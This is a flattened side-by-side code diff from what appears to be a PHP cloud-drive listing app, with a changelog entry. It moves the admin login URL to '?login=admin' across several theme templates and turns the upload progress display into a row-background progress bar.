$_SERVER['_APP_SHARE_DIR'] = '/var/share/CFF/processrouter'; $_SERVER['_APP_SHARE_DIR'] = '/var/share/CFF/processrouter';
return $path; return $path;
} }

View File

@ -59,6 +59,7 @@ function GetPathSetting($event, $context)
$_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2]; $_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2];
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
$_SERVER['USER'] = 'qcloud'; $_SERVER['USER'] = 'qcloud';
return $path; return $path;
} }

View File

@ -59,6 +59,7 @@ function GetPathSetting($event, $context)
$_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2]; $_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2];
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
$_SERVER['USER'] = 'qcloud'; $_SERVER['USER'] = 'qcloud';
return $path; return $path;
} }

View File

@ -386,7 +386,7 @@
<div style="margin:50px"> <div style="margin:50px">
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a> <a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
<center> <center>
<form action="<!--IsPreview?-->admin" method="post"> <form action="<!--IsPreview?-->login=admin" method="post">
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
<input type="submit" value="<!--constStr@Login-->"> <input type="submit" value="<!--constStr@Login-->">
</form> </form>

View File

@ -42,7 +42,7 @@
.more-disk a:hover, .more-disk a[now]{ background-color: rgba(85,85,85,0.7); color: white; } .more-disk a:hover, .more-disk a[now]{ background-color: rgba(85,85,85,0.7); color: white; }
.list-table{width:100%;padding:0 20px 20px 20px;border-spacing:0} .list-table{width:100%;padding:0 20px 20px 20px;border-spacing:0}
.list-table tr{height:40px} .list-table tr{height:40px}
.list-table tr[data-to]:hover{background:rgba(85,85,85,0.7);color:white;} .list-table tr[data-to]:hover{background:rgba(85,85,85,0.7) !important;color:white;}
.list-table tr[data-to]:hover a{color:white} .list-table tr[data-to]:hover a{color:white}
.list-table tr:first-child{background:rgba(245,245,245,0)} .list-table tr:first-child{background:rgba(245,245,245,0)}
.list-table td,.list-table th{padding:0 10px;text-align:left} .list-table td,.list-table th{padding:0 10px;text-align:left}
@ -107,6 +107,7 @@
<h1 class="title" id="title"> <h1 class="title" id="title">
<a href="<!--base_path-->"><!--Sitename--></a> <a href="<!--base_path-->"><!--Sitename--></a>
</h1> </h1>
<!--
<!--MultiDiskAreaStart--> <!--MultiDiskAreaStart-->
<div class="list-wrapper" id="more-disk-div"> <div class="list-wrapper" id="more-disk-div">
<div class="list-container"> <div class="list-container">
@ -120,6 +121,7 @@
</div> </div>
</div> </div>
<!--MultiDiskAreaEnd--> <!--MultiDiskAreaEnd-->
-->
<!--HeadomfStart--> <!--HeadomfStart-->
<div class="list-wrapper" id="head-om-div"> <div class="list-wrapper" id="head-om-div">
<div class="list-container"> <div class="list-container">
@ -471,7 +473,7 @@
<div style="margin:50px"> <div style="margin:50px">
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a> <a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
<center> <center>
<form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);"> <form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
<input name="timestamp" type="hidden" value=""> <input name="timestamp" type="hidden" value="">
<input type="submit" value="<!--constStr@Login-->"> <input type="submit" value="<!--constStr@Login-->">
@ -1057,7 +1059,9 @@
let tmpspeed = e.loaded*1000/(tmptime.getTime()-C_starttime.getTime()); let tmpspeed = e.loaded*1000/(tmptime.getTime()-C_starttime.getTime());
lastCurrentSpeed = tmpspeed; lastCurrentSpeed = tmpspeed;
let remaintime = (totalsize-asize-e.loaded)/tmpspeed; let remaintime = (totalsize-asize-e.loaded)/tmpspeed;
label.innerHTML=StartStr+'<!--constStr@Upload--> ' +size_format(asize+e.loaded)+ ' / '+size_format(totalsize) + ' = ' + ((asize+e.loaded)*100/totalsize).toFixed(2) + '% <!--constStr@AverageSpeed-->:'+size_format((asize+e.loaded-newstartsize)*1000/(tmptime.getTime()-StartTime.getTime()))+'/s<br><!--constStr@CurrentSpeed--> '+size_format(tmpspeed)+'/s <!--constStr@Expect--> '+seconds2hour(remaintime.toFixed(1)); let percent = ((asize+e.loaded)*100/totalsize).toFixed(2);
label.parentNode.style.background = "linear-gradient(to right, rgba(0,0,0,25%) " + percent + "%, rgba(0,0,0,0%) 0%)";
label.innerHTML = StartStr+'<!--constStr@Upload--> ' +size_format(asize+e.loaded)+ ' / '+size_format(totalsize) + ' = ' + percent + '% <!--constStr@AverageSpeed-->:'+size_format((asize+e.loaded-newstartsize)*1000/(tmptime.getTime()-StartTime.getTime()))+'/s<br><!--constStr@CurrentSpeed--> '+size_format(tmpspeed)+'/s <!--constStr@Expect--> '+seconds2hour(remaintime.toFixed(1));
} }
} }
var C_starttime = new Date(); var C_starttime = new Date();
@ -1086,7 +1090,7 @@
while (filename.indexOf('%2F')>0) filename = filename.replace('%2F', '/'); while (filename.indexOf('%2F')>0) filename = filename.replace('%2F', '/');
document.getElementById('upfile_td1_'+tdnum).innerHTML='<div style="color:green"><a href="<!--base_disk_path--><!--Path-->'+filename+'?preview" id="upfile_a_'+tdnum+'" target="_blank">'+document.getElementById('upfile_td1_'+tdnum).innerHTML+'</a><br><a href="<!--base_disk_path--><!--Path-->'+filename+'" id="upfile_a1_'+tdnum+'"></a><!--constStr@UploadComplete--><button onclick="CopyAllDownloadUrl(\'#upfile_a1_'+tdnum+'\');" id="upfile_cpbt_'+tdnum+'" <!--AdminStart--> style="display:none"<!--AdminEnd--> ><!--constStr@CopyUrl--></button></div>'; document.getElementById('upfile_td1_'+tdnum).innerHTML='<div style="color:green"><a href="<!--base_disk_path--><!--Path-->'+filename+'?preview" id="upfile_a_'+tdnum+'" target="_blank">'+document.getElementById('upfile_td1_'+tdnum).innerHTML+'</a><br><a href="<!--base_disk_path--><!--Path-->'+filename+'" id="upfile_a1_'+tdnum+'"></a><!--constStr@UploadComplete--><button onclick="CopyAllDownloadUrl(\'#upfile_a1_'+tdnum+'\');" id="upfile_cpbt_'+tdnum+'" <!--AdminStart--> style="display:none"<!--AdminEnd--> ><!--constStr@CopyUrl--></button></div>';
label.innerHTML=StartStr+MiddleStr; label.innerHTML=StartStr+MiddleStr;
label.style.color='green'; label.parentNode.style.background = 'rgba(0,80,0,25%)';
// uploadbuttonshow(); // uploadbuttonshow();
<!--AdminStart--> <!--AdminStart-->
@ -1329,7 +1333,7 @@
} }
document.getElementById('upfile_td1_'+tdnum).innerHTML='<div style="color:green"><a href="<!--base_disk_path--><!--Path-->'+filename+'?preview" id="upfile_a_'+tdnum+'" target="_blank">'+document.getElementById('upfile_td1_'+tdnum).innerHTML+'</a><br><a href="<!--base_disk_path--><!--Path-->'+filename+'" id="upfile_a1_'+tdnum+'"></a><!--constStr@UploadComplete--><button onclick="CopyAllDownloadUrl(\'#upfile_a1_'+tdnum+'\');" id="upfile_cpbt_'+tdnum+'" <!--AdminStart--> style="display:none"<!--AdminEnd--> ><!--constStr@CopyUrl--></button></div>'; document.getElementById('upfile_td1_'+tdnum).innerHTML='<div style="color:green"><a href="<!--base_disk_path--><!--Path-->'+filename+'?preview" id="upfile_a_'+tdnum+'" target="_blank">'+document.getElementById('upfile_td1_'+tdnum).innerHTML+'</a><br><a href="<!--base_disk_path--><!--Path-->'+filename+'" id="upfile_a1_'+tdnum+'"></a><!--constStr@UploadComplete--><button onclick="CopyAllDownloadUrl(\'#upfile_a1_'+tdnum+'\');" id="upfile_cpbt_'+tdnum+'" <!--AdminStart--> style="display:none"<!--AdminEnd--> ><!--constStr@CopyUrl--></button></div>';
label.innerHTML=StartStr+MiddleStr; label.innerHTML=StartStr+MiddleStr;
label.style.color='green'; label.parentNode.style.background = 'rgba(0,80,0,25%)';
} else { } else {
label.innerHTML= '<font color="red">' + xhr1.status + ',' + xhr1.responseText + '</font>'; label.innerHTML= '<font color="red">' + xhr1.status + ',' + xhr1.responseText + '</font>';
localStorage.removeItem(filesha1); localStorage.removeItem(filesha1);
@ -1349,7 +1353,9 @@
var tmptime = new Date(); var tmptime = new Date();
var tmpspeed = e.loaded*1000/(tmptime.getTime()-C_starttime.getTime()); var tmpspeed = e.loaded*1000/(tmptime.getTime()-C_starttime.getTime());
var remaintime = (totalsize-asize-e.loaded)/tmpspeed; var remaintime = (totalsize-asize-e.loaded)/tmpspeed;
label.innerHTML=StartStr+'<!--constStr@Upload--> ' +size_format(asize+e.loaded)+ ' / '+size_format(totalsize) + ' = ' + ((asize+e.loaded)*100/totalsize).toFixed(2) + '% <!--constStr@AverageSpeed-->:'+size_format((asize+e.loaded-newstartsize)*1000/(tmptime.getTime()-StartTime.getTime()))+'/s<br><!--constStr@CurrentSpeed--> '+size_format(tmpspeed)+'/s <!--constStr@Expect--> '+seconds2hour(remaintime.toFixed(1)); let percent = ((asize+e.loaded)*100/totalsize).toFixed(2);
label.parentNode.style.background = "linear-gradient(to right, rgba(0,0,0,25%) " + percent + "%, rgba(0,0,0,0%) 0%)";
label.innerHTML=StartStr+'<!--constStr@Upload--> ' +size_format(asize+e.loaded)+ ' / '+size_format(totalsize) + ' = ' + percent + '% <!--constStr@AverageSpeed-->:'+size_format((asize+e.loaded-newstartsize)*1000/(tmptime.getTime()-StartTime.getTime()))+'/s<br><!--constStr@CurrentSpeed--> '+size_format(tmpspeed)+'/s <!--constStr@Expect--> '+seconds2hour(remaintime.toFixed(1));
} }
} }
var C_starttime = new Date(); var C_starttime = new Date();
@ -1400,7 +1406,7 @@
} }
document.getElementById('upfile_td1_'+tdnum).innerHTML='<div style="color:green"><a href="<!--base_disk_path--><!--Path-->'+filename+'?preview" id="upfile_a_'+tdnum+'" target="_blank">'+document.getElementById('upfile_td1_'+tdnum).innerHTML+'</a><br><a href="<!--base_disk_path--><!--Path-->'+filename+'" id="upfile_a1_'+tdnum+'"></a><!--constStr@UploadComplete--><button onclick="CopyAllDownloadUrl(\'#upfile_a1_'+tdnum+'\');" id="upfile_cpbt_'+tdnum+'" <!--AdminStart--> style="display:none"<!--AdminEnd--> ><!--constStr@CopyUrl--></button></div>'; document.getElementById('upfile_td1_'+tdnum).innerHTML='<div style="color:green"><a href="<!--base_disk_path--><!--Path-->'+filename+'?preview" id="upfile_a_'+tdnum+'" target="_blank">'+document.getElementById('upfile_td1_'+tdnum).innerHTML+'</a><br><a href="<!--base_disk_path--><!--Path-->'+filename+'" id="upfile_a1_'+tdnum+'"></a><!--constStr@UploadComplete--><button onclick="CopyAllDownloadUrl(\'#upfile_a1_'+tdnum+'\');" id="upfile_cpbt_'+tdnum+'" <!--AdminStart--> style="display:none"<!--AdminEnd--> ><!--constStr@CopyUrl--></button></div>';
label.innerHTML=StartStr+MiddleStr; label.innerHTML=StartStr+MiddleStr;
label.style.color='green'; label.parentNode.style.background = 'rgba(0,80,0,25%)';
} else { } else {
label.innerHTML= '<font color="red">' + xhr1.status + ',' + xhr1.responseText + '</font>'; label.innerHTML= '<font color="red">' + xhr1.status + ',' + xhr1.responseText + '</font>';
localStorage.removeItem(filesha1); localStorage.removeItem(filesha1);

View File

@ -497,7 +497,7 @@
<div> <div>
<a onclick="operatediv_close('login')" class="operatediv_close">×</a> <a onclick="operatediv_close('login')" class="operatediv_close">×</a>
<center> <center>
<form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);"> <form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
<input name="timestamp" type="hidden" value=""> <input name="timestamp" type="hidden" value="">
<input type="submit" value="<!--constStr@Login-->"> <input type="submit" value="<!--constStr@Login-->">

View File

@ -89,7 +89,7 @@
<span aria-hidden="true">&times;</span> <span aria-hidden="true">&times;</span>
</button> </button>
</div> </div>
<form action="?admin" method="post"> <form action="?login=admin" method="post">
<div class="modal-body"> <div class="modal-body">
<input class="form-control" id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input class="form-control" id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
</div> </div>

View File

@ -421,7 +421,7 @@
<div style="margin:50px"> <div style="margin:50px">
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a> <a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
<center> <center>
<form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);"> <form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
<input name="timestamp" type="hidden" value=""> <input name="timestamp" type="hidden" value="">
<input type="submit" value="<!--constStr@Login-->"> <input type="submit" value="<!--constStr@Login-->">

View File

@ -457,7 +457,7 @@
<div style="margin:50px"> <div style="margin:50px">
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a> <a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
<center> <center>
<form action="<!--IsPreview?-->admin" method="post"> <form action="<!--IsPreview?-->login=admin" method="post">
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
<input type="submit" value="<!--constStr@Login-->"> <input type="submit" value="<!--constStr@Login-->">
</form> </form>

View File

@ -98,9 +98,9 @@
<div class="mdui-drawer mdui-drawer-close" id="main-drawer"> <div class="mdui-drawer mdui-drawer-close" id="main-drawer">
<div class="mdui-list" mdui-collapse="{accordion: true}"> <div class="mdui-list" mdui-collapse="{accordion: true}">
<!--LoginStart--> <!--LoginStart-->
<li class="mdui-list-item mdui-ripple" href="?admin" > <li class="mdui-list-item mdui-ripple" href="?login=admin" >
<a class="mdui-list-item-icon mdui-icon material-icons">account_circle</a> <a class="mdui-list-item-icon mdui-icon material-icons">account_circle</a>
<a class="mdui-list-item-content" href="?admin">登录</a> <a class="mdui-list-item-content" href="?login=admin">登录</a>
</li> </li>
<!--LoginEnd--> <!--LoginEnd-->
<!--AdminStart--> <!--AdminStart-->

View File

@ -187,7 +187,7 @@
</path></svg></div> </path></svg></div>
<div style="padding:1px" id="top-div"> <div style="padding:1px" id="top-div">
<!--LoginStart--> <!--LoginStart-->
<a class="login" href="?admin"><ion-icon name="add-circle-outline"></ion-icon></a><!--onclick="login();"--> <a class="login" href="?login=admin"><ion-icon name="add-circle-outline"></ion-icon></a><!--onclick="login();"-->
<!--LoginEnd--> <!--LoginEnd-->
<!--AdminStart--> <!--AdminStart-->
<li class="operate" id="opflow"><ion-icon name="add-circle-outline"></ion-icon><ul> <li class="operate" id="opflow"><ion-icon name="add-circle-outline"></ion-icon><ul>
@ -585,7 +585,7 @@
<div style="margin:50px"> <div style="margin:50px">
<a onclick="operatediv_close('login')" class="operatediv_close">×</a> <a onclick="operatediv_close('login')" class="operatediv_close">×</a>
<center> <center>
<form action="<!--IsPreview?-->admin" method="post" onsubmit="return sha1loginpass(this);"> <form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);">
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
<input name="timestamp" type="hidden" value=""> <input name="timestamp" type="hidden" value="">
<input type="submit" value="<!--constStr@Login-->"> <input type="submit" value="<!--constStr@Login-->">

View File

@ -1,7 +1,10 @@
20220127-1234.43
<font color="red">change login page, default not '?admin' but '?login=admin' now! and if set adminloginpage, it will be '?login=[value]'.</font> rm JumpFirstDisk, 403 in operating root, change sorting disk, remake disktags tab, add global md config. Allow Preview when enable downloadencrypt. some change in adding Onedrive disk. show upload progress in table background. fix some bugs.
<font color="red">更改登录地址,默认不再是'?admin'而是'?login=admin'如果设置了adminloginpage那登录地址会是'?login=值'。</font>移除 JumpFirstDisk在root操作时返回403更改盘排序重做盘符排列添加全局md配置。在开启downloadencrypt后可以网页预览了。添加onedrive盘时稍做修改。上传时以背景做进度条。修复其它bug。
20211220-1100.42 20211220-1100.42
Add new platform Replit. Add a git source for update. sha1.js use jsdelivr cdn. fix some bugs. Add new platform Replit. Add a git source for update. sha1.js use jsdelivr cdn. fix some bugs.
新增Replit平台。新增国内git源以后国内可以选择从HIT源更新。sha1.js换成jsdelivr CDN。修复bug。 新增Replit平台。新增国内git源以后国内可以选择从HIT源更新。sha1.js换成jsdelivr CDN。修复bug。
20211201-1602.41 20211201-1602.41
add a latent function, you can edit platform token(or API key) via '?setup=auth' when the token invalid, not need edit it in Environment(or Config Var) manually, (even in Vercel, config saved in file, and can't modiy it manually). add a latent function, you can edit platform token(or API key) via '?setup=auth' when the token invalid, not need edit it in Environment(or Config Var) manually, (even in Vercel, config saved in file, and can't modiy it manually).
新增隐藏功能在平台操作代码的token或API key失效时可以在 '?setup=auth' 修改它不用去环境变量修改了特别地Vercel保存在代码中时都改不到 新增隐藏功能在平台操作代码的token或API key失效时可以在 '?setup=auth' 修改它不用去环境变量修改了特别地Vercel保存在代码中时都改不到